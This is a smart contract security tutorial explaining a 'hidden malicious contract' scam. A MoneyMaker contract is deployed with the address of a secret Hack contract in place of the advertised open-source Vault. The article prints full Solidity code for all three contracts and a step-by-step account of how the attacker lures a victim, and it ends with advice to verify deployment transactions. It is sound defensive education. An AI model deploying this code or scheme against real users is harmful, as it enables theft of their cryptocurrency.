Intro to Smart Contract Security Audit: Identifying Hidden Malicious Code
Background
In this article, we will guide you on how to identify malicious code hidden in contracts.
Prior Knowledge
Remember when we talked about deploying attack contracts in previous issues? We mentioned that the address of the target contract is passed in, and that the functions of the target contract can be called from within the attack contract. Some attackers use this to trick their victims. For example, they may deploy contract A and tell their victim that the address of contract B will be passed in during the deployment of contract A, and that contract B is open-source. However, in reality, the address of contract C is passed in during the deployment of contract A. If the victim trusts that they haven’t checked the transaction that deployed contract A, the attacker has successfully hidden their malicious code in contract C. This concept is illustrated in the following figure:
The way the user thinks the call path works:
They deploy contract A and pass in the address of contract B, so the call path is the expected one.
But in reality, the actual call path is:
They deploy contract A and pass in the address of contract C, so the call path is an unexpected one.
To better understand this scam, let’s take a look at a simple example:
Malicious Code
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker { Vault vault;
constructor(address _vault) { vault = Vault(payable(_vault)); }
function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!");
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed");
vault.transfer(recipient, amount); }}
contract Vault { address private maker; address private owner; uint256 transferGasLimit;
constructor() payable { owner = msg.sender; transferGasLimit = 2300; }
modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; }
modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; }
function setMacker(address _maker) public OnlyOwner { maker = _maker; }
function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); }
function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {}}
// This code is hidden in a separate filecontract Hack { event taunt(string message); address private evil;
constructor(address _evil) { evil = _evil; }
modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; }
function transfer() public payable { emit taunt("Haha, your ether is mine!"); }
function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {}}
Fraud Analysis
As we can see in the code above, there are three contracts involved. To better understand the roles of each contract, we can use our pre-existing knowledge to distinguish them as follows:
The contract named “MoneyMaker” represents contract A.
The contract named “Vault” represents contract B.
The contract named “Hack” represents contract C.
So, the call path that the user expects is:
MoneyMaker -> Vault
However, the actual call path is:
MoneyMaker -> Hack
This means that the user is being led to believe that they are interacting with contract B, when in reality, they are interacting with contract C, which is the one containing malicious code.
Let’s take a look at how the attacker carries out the scam:
- The attacker deploys the Vault(B) contract and reserves 100 ETH funds in it, and then open-sources the Vault(B) contract on the blockchain.
- The attacker deploys the Hack(C) malicious contract.
- The attacker releases news that they will be deploying an open-source money-making contract called MoneyMaker(A). During deployment, the address of the Vault(B) contract will be passed in and the function Vault.setMacker() will be called to set the maker role to the MoneyMaker contract address. Anyone who calls the function MoneyMaker.makeMoney() and puts in no less than 1 ETH into the contract will receive double the return of ether.
- Bob hears the news and learns about the existence of the MoneyMaker contract. He reads the codes of the MoneyMaker(A) and Vault(B) contracts and checks the balance in the Vault(B) contract. He finds that the logic is exactly as the attacker said. He does not suspect the attacker and does not check the MoneyMaker(A) deployment transaction.
- Bob calls the function MoneyMaker.makeMoney() and puts in his entire net worth of 20 ETH into the contract. While he is looking forward to receiving 40 ETH from the Vault(B) contract, he instead receives the message “Haha, your ether is mine!” as the attacker has successfully scammed him by deploying the Hack(C) malicious contract and passing its address instead of the address of the Vault(B) contract during the deployment of the MoneyMaker(A) contract.
This scam is a simple but common one. The attacker deploys the MoneyMaker contract and instead of passing in the address of the Vault contract, they pass in the address of the Hack contract. So, when Bob calls the function MoneyMaker.makeMoney(), it does not call the function Vault.transfer() as he expects, which would return double the ether, but instead calls the function Hack.transfer() which triggers an event “Haha, your ether is mine!”. Finally, Evil calls the function Vault.withrow() to transfer out the 100 ETH in the Vault contract and transfers out the 20 ETH transferred in by Bob through the function Hack.withrow().
In this way, the attacker is able to steal Bob’s ether by tricking him into thinking that he is interacting with a legitimate contract while in reality he is interacting with a malicious one. This scam is successful because the attacker has hidden the malicious contract behind a facade of legitimacy and trust, and Bob doesn’t verify the actual contract address he is interacting with.
Prevention advice
In the dark forest of Ethereum, the only thing you can trust is yourself. Do not trust any contracts blindly. The transaction records on the blockchain can’t be altered, so only by verifying the corresponding transaction yourself can you trust that what the other party is saying is true. Always do your own research and due diligence before making any transactions or interactions on the Ethereum network.